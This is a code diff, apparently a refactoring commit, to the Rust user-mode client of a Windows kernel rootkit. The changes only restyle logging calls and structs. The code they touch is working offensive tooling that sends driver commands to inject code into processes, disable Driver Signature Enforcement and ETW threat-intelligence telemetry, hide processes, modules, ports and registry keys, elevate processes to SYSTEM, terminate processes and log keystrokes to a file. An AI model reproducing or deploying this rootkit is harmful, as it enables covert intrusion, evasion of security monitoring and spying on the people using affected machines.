Self(h_driver)
|
||||
}
|
||||
|
||||
/// Injects code into a process's thread specified by `pid` using a file at `path`.
|
||||
@@ -34,26 +34,25 @@ impl Injection {
|
||||
/// * `pid` - A reference to the PID of the target process.
|
||||
/// * `path` - The file path of the code to inject.
|
||||
pub fn injection(self, ioctl_code: u32, pid: &u32, path: &String) {
|
||||
log::info!("Starting process injection for PID: {pid}, using file: {path}");
|
||||
|
||||
log::info!("Checking if the file exists at the specified path");
|
||||
info!("Starting process injection for PID: {pid}, using file: {path}");
|
||||
info!("Checking if the file exists at the specified path");
|
||||
if !check_file(path) {
|
||||
log::error!("File not found at the specified path: {path}. Please check the file path and try again");
|
||||
error!("File not found at the specified path: {path}. Please check the file path and try again");
|
||||
return;
|
||||
}
|
||||
|
||||
log::info!("File found!!!");
|
||||
log::debug!("Preparing injection structure");
|
||||
info!("File found!!!");
|
||||
debug!("Preparing injection structure");
|
||||
let mut info_injection = TargetInjection {
|
||||
path: path.to_string(),
|
||||
pid: *pid as usize,
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to Process Injection");
|
||||
debug!("Sending DeviceIoControl command to Process Injection");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_injection as *mut _ as *mut c_void,
|
||||
size_of::<TargetInjection>() as u32,
|
||||
@@ -65,9 +64,9 @@ impl Injection {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
log::info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}");
|
||||
info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -75,7 +74,7 @@ impl Injection {
|
||||
impl Drop for Injection {
|
||||
/// Ensures the driver handle is closed when `Injection` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ use std::{
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{
|
||||
CloseHandle, GetLastError,
|
||||
@@ -33,9 +34,7 @@ pub static mut KEY_RECENT: [u8; 64] = [0; 64];
|
||||
|
||||
/// Provides miscellaneous system functionalities through a driver interface, such as
|
||||
/// Driver Signature Enforcement (DSE) toggling, ETWTI management, and keylogging.
|
||||
pub struct Misc {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Misc(HANDLE);
|
||||
|
||||
impl Misc {
|
||||
/// Creates a new `Misc` instance, opening a handle to the driver.
|
||||
@@ -48,8 +47,8 @@ impl Misc {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Misc { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Enables or disables Driver Signature Enforcement (DSE).
|
||||
@@ -59,14 +58,14 @@ impl Misc {
|
||||
/// * `ioctl_code` - The IOCTL code for the DSE operation.
|
||||
/// * `enable` - `true` to enable DSE or `false` to disable it.
|
||||
pub fn dse(self, ioctl_code: u32, enable: bool) {
|
||||
log::debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
let mut info_dse = DSE { enable };
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" });
|
||||
debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_dse as *mut _ as *mut c_void,
|
||||
size_of::<DSE>() as u32,
|
||||
@@ -78,9 +77,9 @@ impl Misc {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" });
|
||||
info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,7 +94,7 @@ impl Misc {
|
||||
let mut address = 0usize;
|
||||
let mut return_buffer = 0;
|
||||
let status = DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
null_mut(),
|
||||
0,
|
||||
@@ -106,7 +105,7 @@ impl Misc {
|
||||
);
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -141,7 +140,7 @@ impl Misc {
|
||||
for i in 0..256 {
|
||||
if key_pressed(i as u8) {
|
||||
let key = vk_to_char(i as u8);
|
||||
log::debug!("{key}");
|
||||
debug!("{key}");
|
||||
writeln!(writer, "{}", key).expect("Failed to write to file");
|
||||
writer.flush().expect("Failed to flush file buffer");
|
||||
}
|
||||
@@ -162,14 +161,14 @@ impl Misc {
|
||||
/// * `ioctl_code` - The IOCTL code for the ETWTI operation.
|
||||
/// * `enable` - `true` to enable ETWTI or `false` to disable it.
|
||||
pub fn etwti(self, ioctl_code: u32, enable: bool) {
|
||||
log::debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
let mut etwti = ETWTI { enable };
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" });
|
||||
debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut etwti as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<ETWTI>() as u32,
|
||||
@@ -181,9 +180,9 @@ impl Misc {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("ETWTI {}", if enable { "enable" } else { "disable" })
|
||||
info!("ETWTI {}", if enable { "enable" } else { "disable" })
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -191,7 +190,7 @@ impl Misc {
|
||||
impl Drop for Misc {
|
||||
/// Ensures the driver handle is closed when `Misc` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +1,22 @@
|
||||
#![allow(static_mut_refs)]
|
||||
|
||||
pub mod callback;
|
||||
pub mod driver;
|
||||
pub mod injection;
|
||||
pub mod misc;
|
||||
pub mod module;
|
||||
pub mod network;
|
||||
pub mod process;
|
||||
mod callback;
|
||||
mod driver;
|
||||
mod injection;
|
||||
mod misc;
|
||||
mod module;
|
||||
mod network;
|
||||
mod process;
|
||||
mod thread;
|
||||
|
||||
pub use callback::*;
|
||||
pub use driver::*;
|
||||
pub use injection::*;
|
||||
pub use misc::*;
|
||||
pub use module::*;
|
||||
pub use network::*;
|
||||
pub use process::*;
|
||||
pub use thread::*;
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub mod registry;
|
||||
pub mod thread;
|
||||
|
||||
@@ -1,15 +1,19 @@
|
||||
use crate::utils::open_driver;
|
||||
use common::structs::{ModuleInfo, TargetModule, TargetProcess};
|
||||
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use crate::utils::open_driver;
|
||||
use common::structs::{
|
||||
ModuleInfo,
|
||||
TargetModule,
|
||||
TargetProcess
|
||||
};
|
||||
|
||||
/// Provides operations for managing modules within a process through a driver interface.
|
||||
pub struct Module {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Module(HANDLE);
|
||||
|
||||
impl Module {
|
||||
/// Creates a new `Module` instance, opening a handle to the driver.
|
||||
@@ -22,8 +26,8 @@ impl Module {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Module { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Enumerates all modules within a specified process by `pid`.
|
||||
@@ -33,20 +37,20 @@ impl Module {
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
/// * `pid` - A reference to the PID of the process whose modules will be enumerated.
|
||||
pub fn enumerate_module(self, ioctl_code: u32, pid: &u32) {
|
||||
log::info!("Attempting to enumerate modules for PID: {pid}");
|
||||
info!("Attempting to enumerate modules for PID: {pid}");
|
||||
|
||||
log::debug!("Preparing structure for pid: {pid}");
|
||||
debug!("Preparing structure for pid: {pid}");
|
||||
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
||||
let mut input_module = TargetProcess {
|
||||
pid: *pid as usize,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
|
||||
debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut input_module as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
@@ -58,11 +62,11 @@ impl Module {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl failed with status: 0x{:08X} for PID: {pid}", unsafe { GetLastError() } );
|
||||
error!("DeviceIoControl failed with status: 0x{:08X} for PID: {pid}", unsafe { GetLastError() } );
|
||||
} else {
|
||||
let total_modules = return_buffer as usize / size_of::<ModuleInfo>();
|
||||
log::info!("Total modules found for PID {pid}: {total_modules}");
|
||||
log::info!("Listing modules:");
|
||||
info!("Total modules found for PID {pid}: {total_modules}");
|
||||
info!("Listing modules:");
|
||||
println!();
|
||||
|
||||
for module in module_info.iter() {
|
||||
@@ -70,7 +74,7 @@ impl Module {
|
||||
let name = match String::from_utf16(&module.name) {
|
||||
Ok(name) => name,
|
||||
Err(err) => {
|
||||
log::error!("UTF-16 decoding error: {:?}", err);
|
||||
error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
@@ -79,7 +83,7 @@ impl Module {
|
||||
}
|
||||
|
||||
println!();
|
||||
log::info!("Module enumeration completed for PID: {pid}");
|
||||
info!("Module enumeration completed for PID: {pid}");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -91,19 +95,19 @@ impl Module {
|
||||
/// * `name` - A reference to the module name to hide.
|
||||
/// * `pid` - The PID of the process containing the module to hide.
|
||||
pub fn hide_module(self, ioctl_code: u32, name: &String, pid: u32) {
|
||||
log::debug!("Attempting to open the module for hide operation");
|
||||
debug!("Attempting to open the module for hide operation");
|
||||
|
||||
log::debug!("Preparing structure for: {}", name);
|
||||
debug!("Preparing structure for: {}", name);
|
||||
let mut info_driver = TargetModule {
|
||||
module_name: name.to_string(),
|
||||
pid: pid as usize,
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to hide module");
|
||||
debug!("Sending DeviceIoControl command to hide module");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_driver as *mut _ as *mut c_void,
|
||||
size_of::<TargetModule>() as u32,
|
||||
@@ -115,9 +119,9 @@ impl Module {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Module successfully hidden");
|
||||
info!("Module successfully hidden");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -125,7 +129,7 @@ impl Module {
|
||||
impl Drop for Module {
|
||||
/// Ensures the driver handle is closed when `Module` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,19 @@
|
||||
use crate::utils::{open_driver, PortType, Protocol};
|
||||
use common::structs::TargetPort;
|
||||
use std::{ffi::c_void, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use common::structs::TargetPort;
|
||||
use crate::utils::{
|
||||
open_driver,
|
||||
PortType,
|
||||
Protocol
|
||||
};
|
||||
|
||||
/// Provides operations for managing network ports through a driver interface.
|
||||
pub struct Network {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Network(HANDLE);
|
||||
|
||||
impl Network {
|
||||
/// Creates a new `Port` instance, opening a handle to the driver.
|
||||
@@ -22,8 +26,8 @@ impl Network {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Self { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Hides or unhides a specific network port.
|
||||
@@ -53,7 +57,7 @@ impl Network {
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut port_info as *mut _ as *mut c_void,
|
||||
size_of::<TargetPort>() as u32,
|
||||
@@ -65,9 +69,9 @@ impl Network {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Port with number {} successfully {}hidden", port_number, if enable { "" } else { "un" });
|
||||
info!("Port with number {} successfully {}hidden", port_number, if enable { "" } else { "un" });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -75,7 +79,7 @@ impl Network {
|
||||
impl Drop for Network {
|
||||
/// Ensures the driver handle is closed when `Port` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
use common::structs::TargetProcess;
|
||||
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use common::structs::TargetProcess;
|
||||
use crate::{
|
||||
utils::{open_driver, Options},
|
||||
PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE,
|
||||
};
|
||||
|
||||
/// Provides operations for managing processes through a driver interface.
|
||||
pub struct Process {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Process(HANDLE);
|
||||
|
||||
impl Process {
|
||||
/// Creates a new `Process` instance, opening a handle to the driver.
|
||||
@@ -25,8 +25,8 @@ impl Process {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Process { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Hides or unhides a Process specified by `pid`.
|
||||
@@ -38,7 +38,7 @@ impl Process {
|
||||
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the Process.
|
||||
pub fn hide_unhide_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
if let Some(pid_value) = pid {
|
||||
log::info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
|
||||
info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess {
|
||||
enable,
|
||||
@@ -49,7 +49,7 @@ impl Process {
|
||||
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
@@ -61,12 +61,12 @@ impl Process {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" });
|
||||
info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" });
|
||||
}
|
||||
} else {
|
||||
log::error!("PID not supplied");
|
||||
error!("PID not supplied");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,7 +78,7 @@ impl Process {
|
||||
/// * `ioctl_code` - The IOCTL code for the terminate operation.
|
||||
pub fn terminate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
||||
if let Some(pid_value) = pid {
|
||||
log::info!("Preparing to terminate process: {}", pid_value);
|
||||
info!("Preparing to terminate process: {}", pid_value);
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess {
|
||||
pid,
|
||||
@@ -88,7 +88,7 @@ impl Process {
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
@@ -100,12 +100,12 @@ impl Process {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Process with PID {} terminated successfully", pid);
|
||||
info!("Process with PID {} terminated successfully", pid);
|
||||
}
|
||||
} else {
|
||||
log::error!("PID not supplied");
|
||||
error!("PID not supplied");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -119,7 +119,7 @@ impl Process {
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
if let Some(pid_value) = pid {
|
||||
log::info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value);
|
||||
info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value);
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess {
|
||||
pid,
|
||||
@@ -130,7 +130,7 @@ impl Process {
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
@@ -142,14 +142,14 @@ impl Process {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe {
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe {
|
||||
GetLastError()
|
||||
});
|
||||
} else {
|
||||
log::info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" });
|
||||
info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" });
|
||||
}
|
||||
} else {
|
||||
log::error!("PID not supplied");
|
||||
error!("PID not supplied");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -169,7 +169,7 @@ impl Process {
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut enumeration_input as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
@@ -181,10 +181,10 @@ impl Process {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
let total_process = return_buffer as usize / size_of::<TargetProcess>();
|
||||
log::info!("Total Processes: {}", total_process);
|
||||
info!("Total Processes: {}", total_process);
|
||||
println!("Listing Processes:");
|
||||
for (i, process) in info_process.iter().enumerate().take(total_process) {
|
||||
if process.pid > 0 {
|
||||
@@ -210,7 +210,7 @@ impl Process {
|
||||
tp: &PS_PROTECTED_TYPE,
|
||||
) {
|
||||
if let Some(pid_value) = pid {
|
||||
log::info!("Preparing to apply signature protection for process: {}", pid_value);
|
||||
info!("Preparing to apply signature protection for process: {}", pid_value);
|
||||
let pid = *pid_value as usize;
|
||||
let sg = *sg as usize;
|
||||
let tp = *tp as usize;
|
||||
@@ -224,7 +224,7 @@ impl Process {
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_protection_process as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
@@ -236,9 +236,9 @@ impl Process {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Process with PID {} successfully protected", pid);
|
||||
info!("Process with PID {} successfully protected", pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -251,7 +251,7 @@ impl Process {
|
||||
/// * `ioctl_code` - The IOCTL code for the elevation operation.
|
||||
pub fn elevate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
||||
if let Some(pid_value) = pid {
|
||||
log::info!("Preparing to elevate process: {}", pid_value);
|
||||
info!("Preparing to elevate process: {}", pid_value);
|
||||
let pid = *pid_value as usize;
|
||||
let mut target_process = TargetProcess {
|
||||
pid,
|
||||
@@ -261,7 +261,7 @@ impl Process {
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut target_process as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
@@ -273,12 +273,12 @@ impl Process {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Process with PID {} elevated to System", pid);
|
||||
info!("Process with PID {} elevated to System", pid);
|
||||
}
|
||||
} else {
|
||||
log::error!("PID not supplied");
|
||||
error!("PID not supplied");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -286,7 +286,7 @@ impl Process {
|
||||
impl Drop for Process {
|
||||
/// Ensures the driver handle is closed when `Thread` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
use crate::utils::open_driver;
|
||||
use common::structs::TargetRegistry;
|
||||
use std::{ffi::c_void, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use crate::utils::open_driver;
|
||||
use common::structs::TargetRegistry;
|
||||
|
||||
/// Provides operations for managing the registry through a driver interface.
|
||||
pub struct Registry {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Registry(HANDLE);
|
||||
|
||||
impl Registry {
|
||||
/// Creates a new `Registry` instance, opening a handle to the driver.
|
||||
@@ -22,8 +22,8 @@ impl Registry {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Registry { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Enables or disables protection for a specified registry key and value.
|
||||
@@ -35,19 +35,19 @@ impl Registry {
|
||||
/// * `key` - A reference to the registry key name to protect.
|
||||
/// * `enable` - `true` to enable protection or `false` to disable it.
|
||||
pub fn registry_protection(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
log::info!("Attempting to open the registry for protection operation");
|
||||
log::debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" });
|
||||
info!("Attempting to open the registry for protection operation");
|
||||
debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" });
|
||||
let mut info_registry = TargetRegistry {
|
||||
enable,
|
||||
value: value.to_string(),
|
||||
key: key.to_string(),
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to {} protection for key: {key} | value: {value}", if enable { "enable" } else { "disable" });
|
||||
debug!("Sending DeviceIoControl command to {} protection for key: {key} | value: {value}", if enable { "enable" } else { "disable" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_registry as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetRegistry>() as u32,
|
||||
@@ -59,9 +59,9 @@ impl Registry {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Registry protection {} for Key: {key} and Value: {value} succeeded", if enable { "enabled" } else { "disabled" });
|
||||
info!("Registry protection {} for Key: {key} and Value: {value} succeeded", if enable { "enabled" } else { "disabled" });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,9 +74,9 @@ impl Registry {
|
||||
/// * `key` - A reference to the registry key name to hide/unhide.
|
||||
/// * `enable` - `true` to hide or `false` to unhide.
|
||||
pub fn registry_hide_unhide(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||
log::info!("Attempting to open the registry for hide/unhide operation");
|
||||
info!("Attempting to open the registry for hide/unhide operation");
|
||||
|
||||
log::debug!("Preparing structure for Key: {key} | Value: {value} | Operation: {}", if enable { "hide" } else { "unhide" });
|
||||
debug!("Preparing structure for Key: {key} | Value: {value} | Operation: {}", if enable { "hide" } else { "unhide" });
|
||||
let mut info_registry = TargetRegistry {
|
||||
enable,
|
||||
key: key.to_string(),
|
||||
@@ -84,11 +84,11 @@ impl Registry {
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to {} registry for Key: {key} | Value: {value}", if enable { "hide" } else { "unhide" });
|
||||
debug!("Sending DeviceIoControl command to {} registry for Key: {key} | Value: {value}", if enable { "hide" } else { "unhide" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_registry as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetRegistry>() as u32,
|
||||
@@ -100,9 +100,9 @@ impl Registry {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Registry with Key: {key} and Value: {value} successfully {}hidden", if enable { "" } else { "un" });
|
||||
